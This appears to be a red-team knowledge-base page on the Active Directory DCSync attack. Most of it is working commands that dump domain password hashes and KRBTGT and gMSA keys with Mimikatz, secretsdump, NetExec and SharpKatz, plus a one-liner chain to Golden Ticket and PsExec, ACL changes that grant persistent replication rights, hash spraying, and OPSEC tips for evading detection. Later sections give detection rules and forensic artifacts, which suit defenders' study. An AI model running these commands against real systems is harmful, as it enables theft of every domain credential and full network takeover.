attack-37-dcsync-attack.md (42758B)
1 --- 2 title: "Attack #37 β DCSync Attack" 3 description: "DCSync is the most efficient method for extracting every credential in an Active Directory domain without ever touching the NTDS.dit file on disk orβ¦" 4 category: active-directory 5 subcategory: "Domain Controller Attacks" 6 tags: ["active-directory", "kerberos", "credential-access", "hashing"] 7 tools: ["NetExec", "Impacket", "Mimikatz", "Certipy", "Hashcat"] 8 difficulty: advanced 9 updated: "2026-08-10" 10 source: "vault:ActiveDirectory/AD-Attack/Category-Five/π΅ Attack #37 β DCSync Attack.md" 11 --- 12 # π΅ Attack #37 β DCSync Attack 13 14 *** 15 16 ## π How It Works 17 18 DCSync is **the most efficient method for extracting every credential in an Active Directory domain** without ever touching the NTDS.dit file on disk or running code on a Domain Controller. It exploits the **[Directory Replication Service Remote Protocol (MS-DRSR)](https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-drsr/)** β the legitimate protocol that Domain Controllers use to synchronize Active Directory data between each other during normal replication. An attacker with the correct replication permissions can impersonate a Domain Controller and request the DC to send replication data containing password hashes for any or all domain accounts. 19 20 The attack works by triggering the `GetNCChanges` RPC function (via the `DRSUAPI` interface) from a non-DC workstation. The target Domain Controller processes this as a legitimate replication request and responds with the requested user's credential material, including **NT hashes, Kerberos AES keys, old password hashes, and password history**. The entire exchange happens over the network using standard RPC β no malware needs to be deployed on the DC, no LSASS memory is accessed, and the NTDS.dit file is never read from disk. 21 22 > [!info]+ Technical Deep-Dive β DRSUAPI GetNCChanges Flow 23 > 1. The attacker binds to the DC's **DRSUAPI RPC endpoint** (UUID `e3514235-4b06-11d1-ab04-00c04fc2dcd2`) over TCP 135 β dynamic RPC port 24 > 2. Calls `DRSBind` to establish a replication context handle with the DC 25 > 3. Calls `DRSGetNCChanges` specifying the target account's **Distinguished Name** (or requesting the entire naming context) 26 > 4. The DC validates the caller has both **DS-Replication-Get-Changes** and **DS-Replication-Get-Changes-All** extended rights on the domain NC head 27 > 5. The DC responds with `REPLENTINFLIST` structures containing **NTLM hashes** (via `unicodePwd`), **Kerberos keys** (via `supplementalCredentials`), and **password history** (via `lmPwdHistory` / `ntPwdHistory`) 28 > 6. *The attacker decodes the PEK-encrypted attributes locally β the DC performs decryption before transmission when the session is authenticated* 29 30 ### Required Permissions 31 32 DCSync requires the requesting principal to have specific extended rights on the domain's root object (the domain naming context): 33 34 | Permission (ACE) | GUID | Who Has It by Default | 35 |---|---|---| 36 | **Replicating Directory Changes** (DS-Replication-Get-Changes) | `1131f6aa-9c07-11d1-f79f-00c04fc2dcd2` | Domain Admins, Enterprise Admins, Administrators, DCs | 37 | **Replicating Directory Changes All** (DS-Replication-Get-Changes-All) | `1131f6ad-9c07-11d1-f79f-00c04fc2dcd2` | Domain Admins, Enterprise Admins, Administrators, DCs | 38 39 Both permissions are required simultaneously. Having only one is insufficient β `Get-Changes` alone provides attribute data but not secret data (password hashes); `Get-Changes-All` alone doesn't grant the replication request capability. 40 41 > [!warning]+ Third Replication Right β DS-Replication-Get-Changes-In-Filtered-Set 42 > `fas:TriangleExclamation` 43 > 1. GUID: `89e95b76-444d-4c62-991a-0facbeda640c` 44 > 2. This third replication right controls access to **RODC-filtered attributes** (confidential attributes excluded from Read-Only Domain Controllers) 45 > 3. Some tools (e.g., older [Mimikatz](https://github.com/gentilkiwi/mimikatz) versions) may fail to extract certain attributes without this right 46 > 4. *In practice, DA/EA groups have this right by default, so it only matters when manually granting DCSync to a custom principal* 47 48 ### The Full Attack Flow 49 50 ``` 51 1. Obtain Domain Admin privileges (or an account with replication rights) 52 - Or: find a non-DA account that has been granted replication rights (ACL abuse) 53 2. From any domain-joined machine, run DCSync (no need to be on the DC) 54 3. Request replication data for specific users or all users 55 4. Receive NT hashes, AES keys, and password history 56 5. Use extracted hashes for: 57 - Pass-the-Hash (Attack #4) 58 - Golden Ticket forging with KRBTGT hash (Attack #11) 59 - Offline password cracking 60 - Silver Ticket forging (Attack #12) 61 ``` 62 63 *** 64 65 ## βοΈ Prerequisites 66 67 | Requirement | Detail | 68 |---|---| 69 | **Account with replication rights** | Domain Admins, Enterprise Admins, Administrators, or any account with both DS-Replication-Get-Changes + Get-Changes-All ACEs | 70 | **Network access to DC** | RPC/DRSUAPI access (TCP 135 + dynamic RPC ports, or TCP 49152+) | 71 | **No DC access needed** | Works from any domain-joined workstation β this is a remote attack | 72 73 *** 74 75 ## π οΈ Tools 76 77 | Tool | Platform | Version | Notes | 78 |---|---|---|---| 79 | [Mimikatz](https://github.com/gentilkiwi/mimikatz) | Windows | β₯ 2.2.0 | `lsadump::dcsync` β the original DCSync implementation | 80 | [Impacket β secretsdump.py](https://github.com/fortra/impacket) | Linux | β₯ 0.10.0 | `-just-dc` flags β most common Linux method | 81 | [CrackMapExec](https://github.com/byt3bl33d3r/CrackMapExec) / [NetExec](https://github.com/Pennyw0rth/NetExec) | Linux | NXC β₯ 1.1.0 | `--ntds drsuapi` β DCSync via CME/NXC | 82 | [DSInternals](https://github.com/MichaelGrafnetter/DSInternals) | Windows/PowerShell | β₯ 4.7 | `Get-ADReplAccount` β PowerShell-native DCSync | 83 | [SharpKatz](https://github.com/b4rtik/SharpKatz) | Windows (.NET) | Latest | DCSync via a Mimikatz-derived .NET assembly β useful for C2 `execute-assembly` | 84 | [bloodyAD](https://github.com/CravateRouge/bloodyAD) | Linux/Python | β₯ 1.0.0 | Check & grant replication rights β pairs with secretsdump | 85 | [dacledit.py](https://github.com/fortra/impacket) | Linux | Impacket β₯ 0.10.0 | Read/write DACLs for granting DCSync rights | 86 87 > [!tip]+ Tool Version Compatibility Notes 88 > `fas:Lightbulb` 89 > 1. **Impacket 0.12.0+** changed the module layout β `secretsdump.py` is now under `impacket/examples/`; install via `pipx install impacket` for correct PATH resolution 90 > 2. **NetExec** replaced CrackMapExec (archived) β use `nxc` binary; `crackmapexec` is legacy 91 > 3. **DSInternals 4.8+** supports Azure AD Kerberos keys (`msDS-ManagedPassword` for gMSA accounts) 92 > 4. **SharpKatz** must match the target .NET CLR version β compile for .NET 4.0 for Server 2012/2016, .NET 4.8 for 2019+ 93 94 *** 95 96 ## β±οΈ Time-to-Execute Estimates 97 98 | Operation | Time | Notes | 99 |---|---|---| 100 | Single-user DCSync | **2β5 seconds** | One DRSUAPI call round-trip | 101 | Full domain dump (1,000 users) | **30β90 seconds** | Depends on network speed and attribute count | 102 | Full domain dump (50,000+ users) | **10β30 minutes** | Enterprise environments; consider single-user targeting instead | 103 | Granting DCSync rights (ACL write) | **1β3 seconds** | Near-instant LDAP modification | 104 105 *** 106 107 ## π» Full Commands 108 109 ### π΅ Step 0 β Check If You Have Replication Rights 110 111 ```powershell 112 # ββ PowerView β enumerate who has DCSync rights ββββββββββββββββββββββββββββββ 113 Import-Module .\PowerView.ps1 114 Get-ObjectACL "DC=corp,DC=local" -ResolveGUIDs | 115 Where-Object { 116 ($_.ObjectAceType -match 'Replication-Get') -or 117 ($_.ActiveDirectoryRights -match 'GenericAll') 118 } | Select-Object SecurityIdentifier, ObjectAceType | 119 ForEach-Object { 120 $_ | Add-Member -NotePropertyName Principal -NotePropertyValue ( 121 Convert-SidToName $_.SecurityIdentifier 122 ) -PassThru 123 } 124 125 # ββ AD Module β check specific user ββββββββββββββββββββββββββββββββββββββββββ 126 (Get-Acl "AD:DC=corp,DC=local").Access | 127 Where-Object { $_.ObjectType -eq "1131f6ad-9c07-11d1-f79f-00c04fc2dcd2" } | 128 Select-Object IdentityReference 129 130 # ββ Native β verify your current rights βββββββββββββββββββββββββββββββββββββββ 131 whoami /all 132 # Check group memberships for: Domain Admins, Enterprise Admins, Administrators 133 ``` 134 135 ```bash 136 # ββ Linux β check replication rights with bloodyAD ββββββββββββββββββββββββββββ 137 bloodyAD -d corp.local -u low_user -p 'Password1' --host DC01.corp.local \ 138 get writable --right 'REPLICATION' 139 140 # ββ Impacket β FindDelegation / dacledit ββββββββββββββββββββββββββββββββββββββ 141 dacledit.py -action read -target-dn "DC=corp,DC=local" \ 142 corp.local/low_user:'Password1' -dc-ip 10.10.10.10 143 ``` 144 145 *** 146 147 ### π΄ DCSync β Single User (Extract Specific Account Hash) 148 149 #### Mimikatz (Windows) 150 151 ```powershell 152 # ββ DCSync a single user β extract Administrator hash βββββββββββββββββββββββββ 153 privilege::debug 154 lsadump::dcsync /domain:corp.local /user:Administrator 155 156 # Output contains: 157 # SAM Username : Administrator 158 # Hash NTLM : 2b576acbe6bcfda7294d6bd18041b8fe β NT hash 159 # aes256_hmac : b65fb27c... β AES256 key 160 # aes128_hmac : a1b2c3d4... β AES128 key 161 # Credentials (old) : <previous password hashes> β Password history 162 163 # ββ DCSync the KRBTGT account (for Golden Ticket forging) ββββββββββββββββββββ 164 lsadump::dcsync /domain:corp.local /user:krbtgt 165 166 # ββ DCSync a specific user by SID ββββββββββββββββββββββββββββββββββββββββββββ 167 lsadump::dcsync /domain:corp.local /user:CN=svc_backup,CN=Users,DC=corp,DC=local 168 169 # ββ DCSync using /all to dump every single account ββββββββββββββββββββββββββββ 170 lsadump::dcsync /domain:corp.local /all /csv 171 # β οΈ LOUD β dumps every account; use single-user requests in stealth operations 172 ``` 173 174 #### Impacket β secretsdump.py (Linux) 175 176 ```bash 177 # ββ DCSync single user β extract Administrator hash βββββββββββββββββββββββββββ 178 secretsdump.py corp.local/Administrator:'Password1'@DC01.corp.local \ 179 -just-dc-user Administrator 180 181 # ββ DCSync KRBTGT (for Golden Ticket) βββββββββββββββββββββββββββββββββββββββββ 182 secretsdump.py corp.local/Administrator:'Password1'@DC01.corp.local \ 183 -just-dc-user krbtgt 184 185 # ββ DCSync with Pass-the-Hash (no password needed) ββββββββββββββββββββββββββββ 186 secretsdump.py corp.local/Administrator@DC01.corp.local \ 187 -hashes :2b576acbe6bcfda7294d6bd18041b8fe \ 188 -just-dc-user krbtgt 189 190 # ββ DCSync with Kerberos authentication βββββββββββββββββββββββββββββββββββββββ 191 export KRB5CCNAME=administrator.ccache 192 secretsdump.py -k -no-pass corp.local/Administrator@DC01.corp.local \ 193 -just-dc-user krbtgt 194 ``` 195 196 #### SharpKatz (Windows β .NET Assembly for C2) 197 198 ```powershell 199 # ββ Via Cobalt Strike / Sliver execute-assembly ββββββββββββββββββββββββββββββ 200 execute-assembly /path/to/SharpKatz.exe --Command dcsync --User Administrator --Domain corp.local --DomainController DC01.corp.local 201 202 # ββ Standalone ββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ 203 SharpKatz.exe --Command dcsync --User krbtgt --Domain corp.local --DomainController DC01.corp.local 204 ``` 205 206 > [!info]+ Command Breakdown β secretsdump.py Flags 207 > 1. **`-just-dc`**: Only perform DCSync (DRSUAPI replication); skip SAM/LSA/DPAPI extraction that requires SMB admin access. Outputs NT hashes + Kerberos keys + cleartext passwords (if reversible encryption enabled) 208 > 2. **`-just-dc-ntlm`**: Same as `-just-dc` but only extract NT hashes (no Kerberos keys). Faster; smaller output files 209 > 3. **`-just-dc-user <user>`**: DCSync only the specified user β single DRSUAPI request, much stealthier than full dump 210 > 4. **`-history`**: Include password history hashes β useful for finding password reuse patterns and cracking previous passwords 211 > 5. **`-outputfile <prefix>`**: Write results to files with the given prefix (`.ntds`, `.ntds.kerberos`, `.ntds.cleartext` extensions) 212 > 6. **`-hashes :<NT_HASH>`**: Authenticate via Pass-the-Hash β no cleartext password needed 213 > 7. **`-k -no-pass`**: Authenticate via Kerberos using a ccache ticket β stealthiest auth method; requires `KRB5CCNAME` environment variable set 214 > 8. *The `-just-dc` family of flags is what makes secretsdump.py perform DCSync (DRSUAPI) instead of SMB-based NTDS.dit extraction* 215 216 *** 217 218 ### π΄ DCSync β Specific High-Value Targets 219 220 ```bash 221 # ββ gMSA (Group Managed Service Account) password extraction ββββββββββββββββββ 222 # gMSA passwords are stored in msDS-ManagedPassword β DCSync can extract them 223 secretsdump.py corp.local/Administrator:'Password1'@DC01.corp.local \ 224 -just-dc-user 'gMSA_svc$' 225 # The supplementalCredentials will contain the gMSA password blob 226 # Decode with: gMSADumper.py or DSInternals 227 228 # ββ LAPS (Local Admin Password Solution) ββββββββββββββββββββββββββββββββββββββ 229 # LAPS passwords are stored in ms-MCS-AdmPwd (LAPS v1) or msLAPS-Password (LAPS v2) 230 # DCSync extracts ALL attributes β but LAPS passwords are in the computer object, not user 231 # You need to query the computer object specifically: 232 secretsdump.py corp.local/Administrator:'Password1'@DC01.corp.local \ 233 -just-dc-user 'WORKSTATION01$' 234 235 # ββ KRBTGT for every domain in the forest (multi-domain) βββββββββββββββββββββ 236 # If you have Enterprise Admin, DCSync the child domain's KRBTGT: 237 secretsdump.py corp.local/EntAdmin:'Password1'@CHILDDC.child.corp.local \ 238 -just-dc-user krbtgt 239 240 # ββ RODC (Read-Only DC) KRBTGT β krbtgt_NNNNN ββββββββββββββββββββββββββββββββ 241 # RODCs have their own KRBTGT account (krbtgt_<RID>): 242 secretsdump.py corp.local/Administrator:'Password1'@DC01.corp.local \ 243 -just-dc-user 'krbtgt_12345' 244 # This KRBTGT can forge tickets accepted by that specific RODC only 245 ``` 246 247 > [!tip]+ gMSA Password Extraction Deep-Dive 248 > `fas:Lightbulb` 249 > 1. gMSA passwords are 256 bytes of random data, auto-rotated every 30 days by default 250 > 2. The `msDS-ManagedPassword` attribute is a **constructed attribute** β not directly stored in NTDS.dit but computed at query time 251 > 3. **DCSync CAN extract the NT hash** of a gMSA account β the hash is stored in `unicodePwd` like any other account 252 > 4. For the full gMSA password blob (useful for decrypting DPAPI or service configs), use [gMSADumper.py](https://github.com/micahvandeusen/gMSADumper) or [DSInternals](https://github.com/MichaelGrafnetter/DSInternals) `Get-ADReplAccount` 253 > 5. *gMSA accounts are increasingly common in modern AD environments β always check for them during DCSync* 254 255 *** 256 257 ### π΄ DCSync β Advanced Auth Variants 258 259 ```bash 260 # ββ Via SOCKS proxy (through C2 tunnel) βββββββββββββββββββββββββββββββββββββββ 261 proxychains secretsdump.py corp.local/Administrator:'Password1'@DC01.corp.local \ 262 -just-dc-user krbtgt 263 # Useful when attacking through a Cobalt Strike / Chisel / Ligolo SOCKS tunnel 264 265 # ββ Via certificate authentication (PKINIT) ββββββββββββββββββββββββββββββββββ 266 certipy auth -pfx administrator.pfx -dc-ip 10.10.10.10 -username Administrator 267 # Outputs: administrator.ccache 268 export KRB5CCNAME=administrator.ccache 269 secretsdump.py -k -no-pass corp.local/Administrator@DC01.corp.local -just-dc 270 271 # ββ Via Silver Ticket (if you have a service account hash for the DC) βββββββββ 272 # Forge a Silver Ticket for the DC's DRSUAPI SPN: 273 ticketer.py -nthash <DC_MACHINE_HASH> -domain-sid S-1-5-21-... \ 274 -domain corp.local -spn E3514235-4B06-11D1-AB04-00C04FC2DCD2/DC01.corp.local \ 275 Administrator 276 export KRB5CCNAME=Administrator.ccache 277 secretsdump.py -k -no-pass corp.local/Administrator@DC01.corp.local -just-dc 278 # β οΈ Silver Ticket DCSync is unusual but works β the DC validates the SPN, not group membership 279 280 # ββ From a non-domain-joined Linux box ββββββββββββββββββββββββββββββββββββββββ 281 # You need to configure /etc/krb5.conf with the domain realm and DC KDC: 282 # [realms] 283 # CORP.LOCAL = { kdc = DC01.corp.local } 284 # Then: 285 secretsdump.py corp.local/Administrator:'Password1'@10.10.10.10 \ 286 -just-dc-user krbtgt -target-ip 10.10.10.10 287 ``` 288 289 *** 290 291 ### π΄ Automation β One-Liner Attack Chains 292 293 ```bash 294 # ββ Full DCSync β Golden Ticket β PsExec chain βββββββββββββββββββββββββββββββ 295 # Step 1: DCSync KRBTGT 296 KRBTGT=$(secretsdump.py corp.local/Administrator:'Password1'@DC01.corp.local \ 297 -just-dc-user krbtgt 2>/dev/null | grep "Kerberos keys" -A1 | grep aes256 | awk '{print $2}') 298 299 # Step 2: Get domain SID 300 DSID=$(lookupsid.py corp.local/Administrator:'Password1'@DC01.corp.local 0 2>/dev/null | grep "Domain SID" | awk '{print $NF}') 301 302 # Step 3: Forge Golden Ticket 303 ticketer.py -aesKey $KRBTGT -domain-sid $DSID -domain corp.local Administrator 304 305 # Step 4: Use it 306 export KRB5CCNAME=Administrator.ccache 307 psexec.py -k -no-pass corp.local/Administrator@DC01.corp.local 308 309 # ββ Quick spray extracted hashes for local admin reuse ββββββββββββββββββββββββ 310 secretsdump.py corp.local/Administrator:'Password1'@DC01.corp.local \ 311 -just-dc-ntlm -outputfile dump && \ 312 grep -v '\$:' dump.ntds | cut -d: -f4 | sort -u > unique_hashes.txt && \ 313 nxc smb 10.10.10.0/24 -u Administrator -H unique_hashes.txt --local-auth --continue-on-success 314 ``` 315 316 *** 317 318 ### π΄ DCSync β Full Domain Dump (All Users) 319 320 #### Impacket β secretsdump.py (Linux) 321 322 ```bash 323 # ββ Full DCSync β dump ALL domain account hashes ββββββββββββββββββββββββββββββ 324 secretsdump.py corp.local/Administrator:'Password1'@DC01.corp.local \ 325 -just-dc-ntlm -outputfile domain_hashes 326 327 # Output files: 328 # domain_hashes.ntds β All NT hashes (username:RID:LM:NT:::) 329 # domain_hashes.ntds.kerberos β All Kerberos keys (AES256, AES128, DES) 330 # domain_hashes.ntds.cleartext β Any reversible encryption passwords 331 332 # ββ Full dump including Kerberos keys βββββββββββββββββββββββββββββββββββββββββ 333 secretsdump.py corp.local/Administrator:'Password1'@DC01.corp.local \ 334 -just-dc -outputfile full_domain_dump 335 336 # ββ Dump with password history ββββββββββββββββββββββββββββββββββββββββββββββββ 337 secretsdump.py corp.local/Administrator:'Password1'@DC01.corp.local \ 338 -just-dc -history -outputfile domain_with_history 339 340 # ββ Using PtH ββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ 341 secretsdump.py corp.local/Administrator@DC01.corp.local \ 342 -hashes :2b576acbe6bcfda7294d6bd18041b8fe \ 343 -just-dc-ntlm -outputfile domain_hashes 344 ``` 345 346 #### CrackMapExec / NetExec (Linux) 347 348 ```bash 349 # ββ DCSync via NetExec ββββββββββββββββββββββββββββββββββββββββββββββββββββββββ 350 nxc smb DC01.corp.local -u Administrator -p 'Password1' --ntds drsuapi 351 352 # ββ With PtH ββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ 353 nxc smb DC01.corp.local -u Administrator -H 2b576acbe6bcfda7294d6bd18041b8fe --ntds drsuapi 354 355 # ββ Output to file ββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ 356 nxc smb DC01.corp.local -u Administrator -p 'Password1' --ntds drsuapi \ 357 --output domain_hashes.txt 358 359 # ββ Kerberos auth βββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ 360 export KRB5CCNAME=administrator.ccache 361 nxc smb DC01.corp.local -u Administrator -k --ntds drsuapi 362 ``` 363 364 #### Mimikatz (Windows) 365 366 ```powershell 367 # ββ Dump all users via DCSync βββββββββββββββββββββββββββββββββββββββββββββββββ 368 privilege::debug 369 lsadump::dcsync /domain:corp.local /all /csv 370 # Output: CSV format with all usernames and NT hashes 371 ``` 372 373 #### DSInternals (PowerShell) 374 375 ```powershell 376 # ββ PowerShell-native DCSync ββββββββββββββββββββββββββββββββββββββββββββββββββ 377 Install-Module DSInternals -Force 378 Import-Module DSInternals 379 380 # Single user 381 Get-ADReplAccount -SamAccountName Administrator -Server DC01.corp.local 382 383 # All users 384 Get-ADReplAccount -All -Server DC01.corp.local | 385 Select-Object SamAccountName, @{N='NTHash';E={$_.NTHash | ConvertTo-Hex}} | 386 Export-Csv domain_hashes.csv -NoTypeInformation 387 388 # ββ Extract gMSA passwords via replication ββββββββββββββββββββββββββββββββββββ 389 Get-ADReplAccount -SamAccountName 'gMSA_svc$' -Server DC01.corp.local | 390 Select-Object -ExpandProperty Supplementalcredentials 391 ``` 392 393 *** 394 395 ### π΄ Granting DCSync Rights (Persistence / ACL Abuse β Attack #65) 396 397 ```powershell 398 # ββ If you have GenericAll/WriteDACL on the domain object, grant yourself DCSync β 399 400 # PowerView β add Replicating Directory Changes + All to a user 401 Import-Module .\PowerView.ps1 402 Add-DomainObjectAcl -TargetIdentity "DC=corp,DC=local" \ 403 -PrincipalIdentity low_user \ 404 -Rights DCSync -Verbose 405 406 # ββ Now low_user can DCSync from any machine ββββββββββββββββββββββββββββββββββ 407 lsadump::dcsync /domain:corp.local /user:krbtgt 408 # Works because low_user now has both replication ACEs 409 ``` 410 411 ```bash 412 # ββ Linux β grant DCSync rights via dacledit.py βββββββββββββββββββββββββββββββ 413 dacledit.py -action write -rights DCSync \ 414 -principal low_user -target-dn "DC=corp,DC=local" \ 415 corp.local/DA_user:'Password1' -dc-ip 10.10.10.10 416 417 # ββ bloodyAD ββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ 418 bloodyAD -d corp.local -u DA_user -p 'Password1' --host DC01.corp.local \ 419 add dcsync low_user 420 421 # ββ Remove DCSync rights (cleanup) βββββββββββββββββββββββββββββββββββββββββββ 422 dacledit.py -action remove -rights DCSync \ 423 -principal low_user -target-dn "DC=corp,DC=local" \ 424 corp.local/DA_user:'Password1' -dc-ip 10.10.10.10 425 426 bloodyAD -d corp.local -u DA_user -p 'Password1' --host DC01.corp.local \ 427 remove dcsync low_user 428 ``` 429 430 *** 431 432 ### π΄ Post-DCSync β What to Do with the Hashes 433 434 ```bash 435 # ββ 1. Forge a Golden Ticket with KRBTGT hash ββββββββββββββββββββββββββββββββ 436 ticketer.py -nthash <KRBTGT_HASH> \ 437 -domain-sid S-1-5-21-3878595448-1012506728-1948843120 \ 438 -domain corp.local Administrator 439 440 # ββ 2. Pass-the-Hash with Administrator hash βββββββββββββββββββββββββββββββββ 441 nxc smb 10.10.10.0/24 -u Administrator -H <NT_HASH> --local-auth 442 psexec.py corp.local/Administrator@DC01.corp.local -hashes :<NT_HASH> 443 evil-winrm -i DC01.corp.local -u Administrator -H <NT_HASH> 444 445 # ββ 3. Crack hashes offline ββββββββββββββββββββββββββββββββββββββββββββββββββ 446 hashcat -m 1000 domain_hashes.ntds rockyou.txt --force 447 john --format=NT domain_hashes.ntds --wordlist=rockyou.txt 448 449 # ββ 4. Spray hashes across the network (local admin reuse) βββββββββββββββββββ 450 nxc smb 10.10.10.0/24 -u Administrator -H <NT_HASH> --local-auth 451 # Find which machines have the same local admin hash = credential reuse 452 ``` 453 454 *** 455 456 ## π― OPSEC Tips 457 458 1. **Single-user DCSync is stealthier than full dump** β targeting specific accounts (krbtgt, Administrator) generates fewer replication events than dumping the entire directory 459 2. **DCSync from a workstation, not the DC** β replication requests from a workstation IP are the anomaly that detection relies on; but running from the DC itself blends with legitimate replication (if you already have DC access) 460 3. **Use Kerberos auth over NTLM** β NTLM-authenticated DCSync generates additional network logon events; Kerberos blends with normal traffic 461 4. **DCSync leaves NO artifacts on the DC** β no files written, no LSASS access, no process injection; it's purely a network-level operation 462 5. **Time your attacks** β DCSync during business hours when legitimate replication traffic is high creates more noise to hide in 463 6. **Target specific high-value accounts** β KRBTGT (Golden Ticket), service accounts (Silver Tickets), and DA accounts; don't dump everything unless you need to 464 7. **Avoid running from a non-domain-joined machine** β some EDRs flag DRSUAPI calls from IPs with no corresponding AD computer object 465 466 ### π OpSec Ranking 467 468 | Method | Stealth | Speed | Reliability | Notes | 469 |---|---|---|---|---| 470 | Mimikatz single-user | π‘ Medium | π’ Fast | π’ High | Detected by most EDR on-disk; use from memory | 471 | secretsdump.py single-user (Kerberos) | π’ High | π’ Fast | π’ High | Best overall β network-only, Kerberos auth | 472 | secretsdump.py full dump | π΄ Low | π‘ Medium | π’ High | Massive replication traffic = easy to spot | 473 | NetExec `--ntds drsuapi` | π‘ Medium | π‘ Medium | π’ High | Convenient but logs SMB + DRSUAPI | 474 | DSInternals | π‘ Medium | π‘ Medium | π‘ Medium | PowerShell logging catches module loads | 475 | SharpKatz (in-memory .NET) | π’ High | π’ Fast | π‘ Medium | Good for C2; avoids disk touches | 476 477 *** 478 479 ## π‘οΈ Detection β Event IDs 480 481 | Event ID | Source | What to Look For | 482 |---|---|---| 483 | **4662** | Security Log (DC) | Directory Service Access β GUID `{1131f6aa-...}` or `{1131f6ad-...}` from a **non-DC account** | 484 | **4624** | Security Log (DC) | Network logon (Type 3) from the source IP performing DCSync | 485 | **4672** | Security Log (DC) | Special privileges assigned to the DCSync session | 486 487 **Primary detection signature:** Event ID **4662** is the definitive DCSync indicator. Configure "Audit Directory Service Access" in Advanced Audit Policy, then alert on 4662 events where: 488 1. The `Properties` field contains GUID `{1131f6ad-9c07-11d1-f79f-00c04fc2dcd2}` (Replication-Get-Changes-All) 489 2. The `Account Name` does **NOT** end with `$` (non-computer account) β or is a computer account that is NOT a legitimate Domain Controller 490 491 Additionally, **network-level detection** is highly effective: monitor for DRSUAPI RPC calls (`DsGetNCChanges`) originating from IP addresses that are not registered Domain Controllers. Tools like Microsoft Defender for Identity (MDI) and Zeek/Bro IDS can detect this pattern with high confidence. 492 493 ### π Sigma Rules 494 495 ```yaml 496 # ββ SigmaHQ β DCSync Activity (Event ID 4662) βββββββββββββββββββββββββββββββ 497 title: Potential DCSync Attack 498 id: 5f842047-8e40-4e44-a88e-9c6c3c42b1b0 499 status: stable 500 logsource: 501 product: windows 502 service: security 503 detection: 504 selection: 505 EventID: 4662 506 Properties|contains: 507 - '1131f6ad-9c07-11d1-f79f-00c04fc2dcd2' 508 - '1131f6aa-9c07-11d1-f79f-00c04fc2dcd2' 509 filter_dc: 510 SubjectUserName|endswith: '$' 511 condition: selection and not filter_dc 512 level: critical 513 tags: 514 - attack.credential_access 515 - attack.t1003.006 516 ``` 517 518 ```yaml 519 # ββ SigmaHQ β DCSync Rights Granted βββββββββββββββββββββββββββββββββββββββββ 520 title: DCSync Rights Granted to User Account 521 id: 56ab2f68-7859-4886-a0c3-c0bca7379ce0 522 logsource: 523 product: windows 524 service: security 525 detection: 526 selection: 527 EventID: 5136 528 AttributeLDAPDisplayName: 'nTSecurityDescriptor' 529 ObjectClass: 'domainDNS' 530 condition: selection 531 level: high 532 ``` 533 534 ### π Network-Level Detection (Zeek / Suricata) 535 536 ```zeek 537 # ββ Zeek script β detect DRSUAPI DsGetNCChanges from non-DC sources ββββββββββ 538 # File: detect-dcsync.zeek 539 event dce_rpc_request(c: connection, fid: count, opnum: count, stub_len: count) { 540 # DRSUAPI UUID: e3514235-4b06-11d1-ab04-00c04fc2dcd2 541 # OpNum 3 = DsGetNCChanges 542 if (opnum == 3) { 543 local src = c$id$orig_h; 544 if (src !in known_dcs) { 545 NOTICE([$note=DCSync_Attempt, 546 $msg=fmt("DsGetNCChanges from non-DC: %s β %s", src, c$id$resp_h), 547 $conn=c]); 548 } 549 } 550 } 551 ``` 552 553 ```yaml 554 # ββ Suricata rule β DRSUAPI traffic from non-DC ββββββββββββββββββββββββββββββ 555 alert tcp !$DC_SERVERS any -> $DC_SERVERS any ( 556 msg:"ATTACK [DCSync] DRSUAPI DsGetNCChanges from non-DC"; 557 content:"|05 00 00|"; offset:0; depth:3; # DCE/RPC request header 558 content:"|35 42 51 e3 06 4b d1 11 ab 04 00 c0 4f c2 dc d2|"; # DRSUAPI UUID 559 reference:url,attack.mitre.org/techniques/T1003/006/; 560 classtype:credential-access; 561 sid:2024001; rev:1; 562 ) 563 ``` 564 565 ### π‘οΈ EDR-Specific Detections 566 567 > [!warning]+ Microsoft Defender for Identity (MDI) 568 > 1. **"Suspected DCSync attack (replication of directory services)"** β high-confidence alert triggered when a non-DC machine calls DsGetNCChanges 569 > 2. MDI correlates the source IP against registered DC objects in AD β any mismatch triggers the alert 570 > 3. **"Malicious replication request"** β fires when a user account (not machine account) initiates replication 571 > 4. *MDI is considered the gold standard for DCSync detection β it has near-zero false positives in most environments* 572 573 > [!warning]+ CrowdStrike Falcon 574 > 1. **"DCSync Credential Dumping"** β detects DRSUAPI GetNCChanges from non-DC endpoints 575 > 2. Falcon monitors RPC traffic and correlates with endpoint process trees 576 > 3. Also detects SharpKatz and Mimikatz in-memory execution via behavioral indicators (AMSI bypass, reflective loading patterns) 577 578 > [!warning]+ Elastic Security 579 > 1. Rule: **"Potential Credential Access via DCSync"** β correlates 4662 events with replication GUIDs 580 > 2. Rule: **"Unusual DRSUAPI DsGetNCChanges RPC"** β network-level detection via Packetbeat / Zeek 581 > 3. Kibana detection rule ID: `credential_access_dcsync` 582 583 *** 584 585 ## π¬ Forensic Artifacts 586 587 | Artifact | Location | Details | 588 |---|---|---| 589 | **Event 4662** | DC Security Log | Contains SubjectUserSid, ObjectType GUIDs, and Properties accessed | 590 | **Event 4624** | DC Security Log | Network logon from attacker IP β Type 3 with NTLM or Kerberos | 591 | **RPC traffic** | Network capture | DRSUAPI `DsGetNCChanges` requests on dynamic RPC ports (49152+) | 592 | **Replication metadata** | `repadmin /showmeta` | `msDS-ReplAttributeMetaData` shows last replication source β won't show DCSync (no actual replication occurs) | 593 | **ACL modifications** | Event 5136 / nTSecurityDescriptor | If attacker granted themselves DCSync rights, the ACL change is logged | 594 | **No disk artifacts on DC** | N/A | DCSync leaves zero forensic artifacts on the target DC's filesystem β this is purely network-based | 595 596 *** 597 598 > [!important]+ Windows Server Version Differences 599 > 1. **Server 2016+**: Advanced Audit Policy "Audit Directory Service Access" must be explicitly enabled β it's not on by default in all SKUs 600 > 2. **Server 2019+**: Windows Defender Credential Guard protects LSASS but does **NOT** prevent DCSync β DCSync doesn't touch LSASS 601 > 3. **Server 2022**: No new mitigations against DCSync β still relies on ACL auditing and network monitoring 602 > 4. **Server 2025**: Microsoft introduced **Credential Guard by default** on new installs, but again this does NOT mitigate DCSync; the only effective control remains auditing replication ACLs and monitoring 4662 events 603 > 5. *DCSync will remain exploitable as long as the DS-Replication protocol exists β it's a feature, not a bug; the mitigation is controlling WHO has replication rights* 604 605 *** 606 607 ## π Hardening & Prevention 608 609 